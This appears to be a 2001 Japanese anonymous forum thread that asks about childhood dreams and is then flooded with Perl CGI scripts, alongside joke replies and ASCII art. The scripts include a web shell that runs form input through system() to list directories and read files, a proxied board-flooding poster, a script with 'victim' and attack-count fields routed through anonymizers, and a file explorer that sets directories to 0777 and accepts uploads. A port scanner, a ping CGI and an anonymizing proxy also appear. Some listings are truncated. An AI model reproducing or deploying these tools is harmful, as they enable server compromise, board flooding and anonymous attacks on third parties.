聞かせて下さい

1 ：少年隊：2001/08/13(月) 18:23 ID:???

皆さんの子供の頃の夢を聞かせて下さい。
そしてそれは実現しましたか？

2 ：名無しさん＠ピンキー：2001/08/13(月) 18:26 ID:???

/usr/local/bin/perl

$cgi="tanken.cgi";
$|=1;
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/,$buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair); $name =~ s/%(..)/pack('C',hex($1))/ge; $name =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$FORM{$name} = $value;
}
$admin = $FORM{'admin'};
$file = $FORM{'file'};
print "Content-type: text/html\n\n";
print "<html><head><title>探検君１号</title></head>\n";
print "<body>\n";
print "<FONT size=+3>探検君１号</FONT>上位ディレクトリを辿っていくのは「../」と入力して探
索ボタンを押してね！\n";
print "<FORM method=\"POST\" action=\"$cgi\">\n";
print "<SELECT NAME=\"admin\">\n";
print "<OPTION value=\"ls\" SELECTED>ディレクトリ探索</OPTION>";
print "<OPTION value=\"cat\">ファイルソ\ース調査</SELECT><BR>";
print "引数（ディレクトリorファイル指定<input type=text name=\"file\" size=\"60\"
value=\"$file\"><BR>\n";
print "<input type=submit value=\"探索～！\">｡｡<input type=reset value=\"取消
\"></FORM>\n";
print "<HR><XMP>\n";
system("$admin $file");
print "</XMP></body></html>\n";
exit;

3 ：名無しさん＠ピンキー：2001/08/13(月) 18:26 ID:???

/usr/local/bin/perl

#==================================================================
#
# 投稿君
#
# Force264で配布されている掲示板に対応した外部投稿スクリプチです
# v3.12A, v3.22Aに対応していますランダム画像式には非対応です(弱っ)
# このスクリプチを荒らし目的で使用することを禁止します
# 作りたてのためソースが粗いですが気にしないでくださぃ
# 使用方法などの質問はあまり受け付けません(謎)
#
# デフォルトで「東京UG」が投稿先になってますが
# あまり意味はありません
#
# ネタ振り元 Midnight Roam http://ugcgi.hp.ms/
#
#==================================================================

use Socket;

# このスクリプチの名前
$script = "./toukou.cgi";

# 実際に掲示板を読みに行ってから投稿するまでの時間
# 数十秒の規制があるため適当に直してくださぃ
$wait = 30;

# 日本語変換らいぶらりぃ
require 'jcode.pl';

# 早いプロクシを拾ってきましょう
@proxies = (
'ce8.time.net.my:80',
'cflow3-if-1.mts.net:80',
'cache1.indosat.net.id:80',
'195.70.86.106:80',
'211.8.88.147:80',
);

# 設定ここまで

$hogehoge = <<_HOGEHOGE_;
<DIV align=right>
powered by <A href="http://ugcgi.hp.ms/" target="_top">Midnight Roam</A>
</DIV>
_HOGEHOGE_

if ($ENV{'REQUEST_METHOD'} eq "POST"){
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);

foreach $pair (@pairs){

4 ：名無しさん＠ピンキー：2001/08/13(月) 18:27 ID:???

#!/usr/local/bin/perl
### EseXy ############################################################
#
# EseXy - 似非プロクシ CGI
#
# May 10, 2000 / Version 1.00 Created
# Jun 18, 2000 / Version 1.10 Update
#
# (C) 2000 babyA. <[email protected]>
#
######################################################################
require 'htalk.pl'; # 要 Version 1.12

$ENV{'TZ'} = "JST-9"; # 日本時間
$Script = 'EseXy';
$Version = '1.10';
$CpRt = 'http://www.age.ne.jp/x/babya/';

### 各種設定 (ここから) ##############################################

# CGIのURL
$ScriptURL = "http://";

# CGIから常にあるプロクシを経由するときはコメントをはずして
# プロクシのアドレスを指定してください。
# $ProxyAlways = 'proxy.***.com:8080';

# 利用者がプロクシ指定することを許すかどうか
$AllowProxy = 0; # 0->NO 1->YES

# User-Agent/Refererを特定のものにしたい場合は指定してください。
# $UserAgentAlways = 'Cozilla/1.0';
# $RefererAlways = 'http://www.yahoo.co.jp/';

# 利用者がUser-Agent/Refererを指定することを許すかどうか
$AllowUserAgent = 2; # 0->NO 1->YES 2->利用者のヘッダ情報を引き継ぐ
$AllowReferer = 2; # 0->NO 1->YES 2->利用者のヘッダ情報を引き継ぐ

# 利用者がRefererを指定した場合リンク先でもその設定を保持するかどうか
$KeepReferer = 1; # 0->NO 1->YES

# Cookieを常に特定のものにしたい場合は指定してください。
# $CookieAlways = 'myCookie=hello';

# Cookieの設定
# 0->クッキー無効 1->利用者がクッキー設定可 2->利用者のヘッダ情報を引き継ぐ
$AllowCookie = 2;

# X_FORWARDED_FORヘッダをHTTPサーバに通知するかどうか
$SetXForwardedFor = 1; # 0->NO 1->YES

# ログを残すかどうか 1:ログを残す 0:ログなし
# ログを置くディレクトリ(CGIが書き込み可能なところ)
$Log = 1;
$LogDir = 'log';

### 各種設定 (ここまで) ###########################

5 ：名無し：2001/08/13(月) 18:29 ID:???

>>1
此処は厨板だから子供ばっかでしょ??（心・身として）
夢はシンガーソングライター!!

6 ：名無しさん＠ピンキー：2001/08/13(月) 18:29 ID:???

実現しなかったョ
世界一おいしいパン屋になろうと一生懸命努力したのに
今は風俗店を経営するオーナーになってしまったョ

7 ：名無しさん＠ピンキー：2001/08/13(月) 18:30 ID:???

>>5
頑張れ、マジで

8 ：名無しさん＠ピンキー：2001/08/13(月) 18:31 ID:???

!/usr/local/bin/perl

#これを動作させるためには、Perl5が、ひつようだからね ☆ヽ(~-~(･_･ )ゝ
#★。、::。.::・'゜☆。.::・'゜★。、::。.::・'
#####################################################################
# ＤＯＬＬＲＩＫＡタイプＡ ☆ヽ(~-~(･_･ )ゝＢＹかわいい天才プログラマー：ＲＩＫＡ
#####################################################################
#★。、::。.::・'゜☆。.::・'゜★。、::。.::・'

# 環境変数の設定です☆ヽ(~-~(･_･ )ゝ
$user_agent = 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)';
$accept = '*/*';
$accept_language = 'jp';
$pragma = 'no-cache';
$accept_encoding = 'gzip, deflate';

#使用するデリゲートです☆ (何個でもいいよ v(*^^*)）ヽ(~-~(･_･ )ゝ
$delhost[0] = 'http://www.anonymizer.com:8080/-_-';
$delhost[1] = '';
$delhost[2] = '';

#安全クリップです☆これを、はずすとどうなってもしらないからヽ(~-~(･_･ )ゝ
$guard = 2000;

$dummy = " ";

#★。、::。.::・'゜☆。.::・'゜★。、::。.::・'
#------------------- 接続準備START -------------------

#データの処理です☆ヽ(~-~(･_･ )ゝ
if ($ENV{'REQUEST_METHOD'} eq "POST") {read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});}
else { $buffer = $ENV{'QUERY_STRING'};}
@pairs = split(/&/,$buffer);

foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$GAME{$name} = $value;
}
$victim = $GAME{victim};
$proxy1 = $GAME{proxy1};
$proxy2 = $GAME{proxy2};
$port1 = $GAME{port1};
$port2 = $GAME{port2};
$forwarded = $GAME{forwarded};
$attack_kaisuu = $GAME{attack_kaisuu};
$delegate = $GAME{delegate};
$sleep = $GAME{sleep};

if(($GAME{ref} eq "") || ($GAME{ref} eq 'http://')){$ref = $victim;}
else{ $ref = $GAME{ref};}

$nameA = $GAME{name11};
$nameB = $GAME{name12};
$nameC = $GAME{name13};
$nameD = $GAME{name14};
$nameE = $GAME{name15};
$nameF = $GAME{name16};

$STUDY{$nameA} = $GAME{value11};
$STUDY{$nameB} = $GAME{value12};
$STUDY{$nameC} = $GAME{value13};
$STUDY{$nameD} = $GAME{value14};
$STUDY{$nameE} = $GAME{value15};
$STUDY{$nameF} = $GAME{value16};

undef $k;
while(($name,$value)=each %STUDY) {
if($value ne ''){
if ($k == 0) {$tmp = "$name=$value"; $k++;}
else { $tmp = $tmp."&".$

9 ：名無しさん＠ピンキー：2001/08/13(月) 18:32 ID:???

/usr/local/bin/perl
#
# (C) ALICE P LIDDELL
#
# PerlDukeExplorer Experience edition Ver 1.0

$script = $ENV{'SCRIPT_NAME'};
$myscript = $script;
$script = '/'.$script unless $script =~ m:^/:;
$script = "http://$ENV{'SERVER_NAME'}$script";
if ( $ENV{'REQUEST_METHOD'} eq "POST" ) {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
}

@pairs = split( /&/ , $buffer );
foreach $pair ( @pairs ){
($name, $value) = split( /=/ , $pair );
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/\r\n/\n/g;
$value =~ s/\r/\n/g;

$FORM{$name} = $value;
} # end of foreach

$envpas = $ENV{'PATH_INFO'};

if($FORM{'path'} ne ''){
$path = $FORM{'path'};
}else{
$path = $envpas;
}

$basepath = "/";

if($path =~ /$myscript/){

print <<_page;
Content-type: text/html

<html><body>コイツは読めねえよ</body></html>

_page
exit;
}

&stat ( $path, \%stat );

print <<_page;
Content-type: text/html

<html>
<head>
<title>
PDE $path
</title>
<META HTTP-EQUIV="Content-Type" CONTE

10 ：名無しさん＠ピンキー：2001/08/13(月) 18:33 ID:???

stat{type} eq "Directory"){
print " stats : </pre><hr>\n";
}elsif($stat{user} eq "nobody"){
print " stats : 全面書き換え\可\能\フ\ァイル</pre><hr>\n";
}elsif($stat{mode} =~ /666/){
print " stats : 内容書き換え\可\能\フ\ァイル</pre><hr>\n";
}

}

if ( $stat{type} eq "Directory" ) {
&directory( $path );
}elsif($FORM{'path'} ne ''){
&duke( $FORM{'path'} );
}else{
&text( $path );
}

sub stat {

my $path = shift;
my $stat = shift;

$stat->{exist} = -e "$basepath$path";
return unless $stat->{exist};

my @stat = stat _;

my %stat;
$stat->{mode} = sprintf ( "%6o", $stat[2] );
$stat->{user} = getpwuid( $stat[4] );
$stat->{size} = $stat[7];
$stat->{atime} = localtime( $stat[8] );
$stat->{mtime} = localtime( $stat[9] );
$stat->{ctime} = localtime( $stat[10] );

if( -d _ ) {
$stat->{type} = "Directory";
}
elsif( -T _ ) {
$stat->{type} = "Text";
}
elsif( -B _ ) {
$stat->{type} = "Binary";
}
else {
$stat->{type} = "Unknown";
}
}

sub path {

my $dir = shift;
my $s = $script;

my $f;
while ( $dir =~ m:/: ){
$dir = $';
$f = ( $` || "(root)" );
print "<A HREF=$s$`>$f</A> / \n";
$s .= "$`/";
}
print "<A HREF=$s$dir>$dir</A>\n";
}

sub directory {

my $dir = shift;
my %stat;
chmod( 0777 , "$basepath$dir" );

print <<_form;
<form action=$script ENCTYPE="multipart/form-data" method=post>
FilePath : Ex ,/data1/hypermart.net/kamo/negi.gif<br><input type="text" value="$path" name=path size=70><br>
<INPUT TYPE=file SIZE="70" NAME="filename">

11 ：名無し：2001/08/13(月) 18:42 ID:???

>>7
マジで応援してくれてんの??やば、嬉しい!!

12 ：名無しさん＠ピンキー：2001/08/13(月) 18:43 ID:???

!/usr/local/bin/perl

#===========================================
# Portscan CGI
# script by Twilight Heaven
#===========================================

use Socket;

$script = './port.cgi';
$title = 'Portscan CGI';
$credit = "<DIV align=right>\npowered by <A href=\"http://snowbridge.virtualave.net/\">Twilight Heaven</A>\n</DIV>";

if (uc($ENV{'REQUEST_METHOD'}) eq 'POST'){

read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs){
($name,$value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/\n//g;
$value =~ s/\r//g;
$FORM{$name} = $value;
}

if ($FORM{'target'} =~ /^([^\/?]*)$/){
$host = $FORM{'target'};
}else{
&html('ホスト指定が間違っています。');
}

$start_port = $FORM{'start_port'};
$end_port = $FORM{'end_port'};

if ($start_port =~ /[^\d]+/){ &html('ポート記入欄には半角数字のみを記入してください。'); }
if ($end_port =~ /[^\d]+/){ &html('ポート記入欄には半角数字のみを記入してください。'); }

$port_width = $end_port - $start_port;

if ($port_width < 0){ &html('ポートの指定が不自然です。'); }
if ($port_width > 50){ &html('ポートの指定域が大きすぎます。開始と終了の幅は50以下にしてください。'); }

$msg = '';
foreach $port ($start_port..$end_port){ &scan($port); }
&html($msg);

}else{ &html; }

sub html{

my($msg) = shift;

print <<"_HTML_";
Content-Type: text/html

<HTML>
<HEAD>
<TITLE>$title</TITLE>

13 ：名無しさん＠ピンキー：2001/08/13(月) 18:43 ID:???

!/usr/local/bin/perl

#======================================================================
# 簡易Ping CGI
#
# script by Twilight Heaven http://snowbridge.virtualave.net/
#======================================================================

$|=1;

$script = './ping.cgi';
$title = 'ping';
$credit = "powered by <A href=\"http://snowbridge.virtualave.net/\" target=\"_top\">Twilight Heaven</A>";

#==================================================
# pingコマンドの場所を探す
# -xでユーザー，グループが実行可能かどうかを判別
#==================================================
if ( -x "/usr/etc/ping") { $ping = "/usr/etc/ping"; }
elsif ( -x "/usr/sbin/ping") { $ping = "/usr/sbin/ping"; }
elsif ( -x "/usr/bin/ping") { $ping = "/usr/bin/ping"; }
elsif ( -x "/sbin/ping") { $ping = "/sbin/ping"; }
elsif ( -x "/bin/ping") { $ping = "/bin/ping"; }
else{ &error('pingコマンドの場所が見つかりません。'); }

&decode;
&html;
#==================================================
# デコード処理
#==================================================
sub decode{

if ($ENV{'REQUEST_METHOD'} eq 'POST'){
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@pairs = split(/&/, $buffer);
foreach $pair (@pairs){
($name,$value) = split (/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/&/&/g;
$value =~ s/</</g;
$value =~ s/>/>/g;
$value =~ s/\"/"/g;
$FORM{$name} = $value;
}
$host = $FORM{'host'};
if ($host !~ /[a-zA-Z0-9\.\_\-]$/){
&html('入力エラーです。ホスト名またはIPアドレスを正しく入力してください。');
}
}else{
return;
}
}
#=============================================
# HTML 開始
#=============================================
sub html{

14 ：名無し：2001/08/13(月) 20:00 ID:???

誰より一番　あなたが
真新しい勇気　くれるよ
朝の光より　まぶしい　微笑みは胸に染みる

15 ：名無しさん＠ピンキー：2001/08/13(月) 20:02 ID:???

ちゃんねるって自由な掲示板じゃないの？ △　▽　　▲　▼

近頃、初心者さんが増えてきたので、お約束をつくってみました。
基本的には、ユーザーの良識に任せたいのですが、
「明文化したルールがない」ということを逆手にとってなにをしてもいいと誤解する人が多いので、、、
はぁ、、めんどくさ。。

お約束・最低限のルールって？ △　▽　　▲　▼

他人に迷惑をかけるのはやめようということです。。。

必要以上の馴れ合いは慎しむとか、暴言や第三者を不快にする書き込みはしないとか、
悪質な削除要請や自己中心的な発言はひかえるとか、どれもむずかしくないことなんだけどなぁ。

また、公人ではない一般人の誹謗中傷、プライバシー暴露は禁止します。
固定ハンドルさんを叩く行為も、最悪板以外の場所では禁止してますです。
詳しい禁止事項は削除ガイドラインをみてくださいです。。。

ルールを守らないとどうなるの？ △　▽　　▲　▼

削除されちゃいますです。。。
ほかにも、なにかが起こるかもしれないですよん。。。（￣ー￣）ニヤリッ

明らかなルール違反や削除ガイドライン違反の書き込みをみつけたら、
削除依頼にご協力くださいです。。。

16 ：名無しさん＠ピンキー：2001/08/13(月) 20:52 ID:???

ウンコ

17 ：名無し＠ピンキー：2001/08/15(水) 19:53 ID:???

ウルトラマンコスモスになりたいです

18 ：名無し＠ピンキー：2001/08/15(水) 20:49 ID:???

　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）
　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）
　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）
　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）
　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）
　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）
　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）

19 ：名無し＠ピンキー：2001/08/15(水) 22:12 ID:???

死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・
死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・死ぬのは嫌・・・

20 ：ナマエモナー：2001/08/15(水) 22:16 ID:???

　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）
　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）
　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　もっと書きこめゴルァ
　　（　　　　）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）

21 ：木目羽：2001/08/15(水) 22:33 ID:hDRqFe0o

死ぬのは、いやああああああああああああああああああああ

22 ：ナマエモナー ◆kYxlAbaw：2001/08/15(水) 22:34 ID:???

　　 ∧＿∧　　／￣￣￣￣￣
　　｜｜　| ＜　馬鹿な、直撃のはずだ！
　　（本物）　＼＿＿＿＿＿
　　（　´∀｀）
　　（_＿）＿）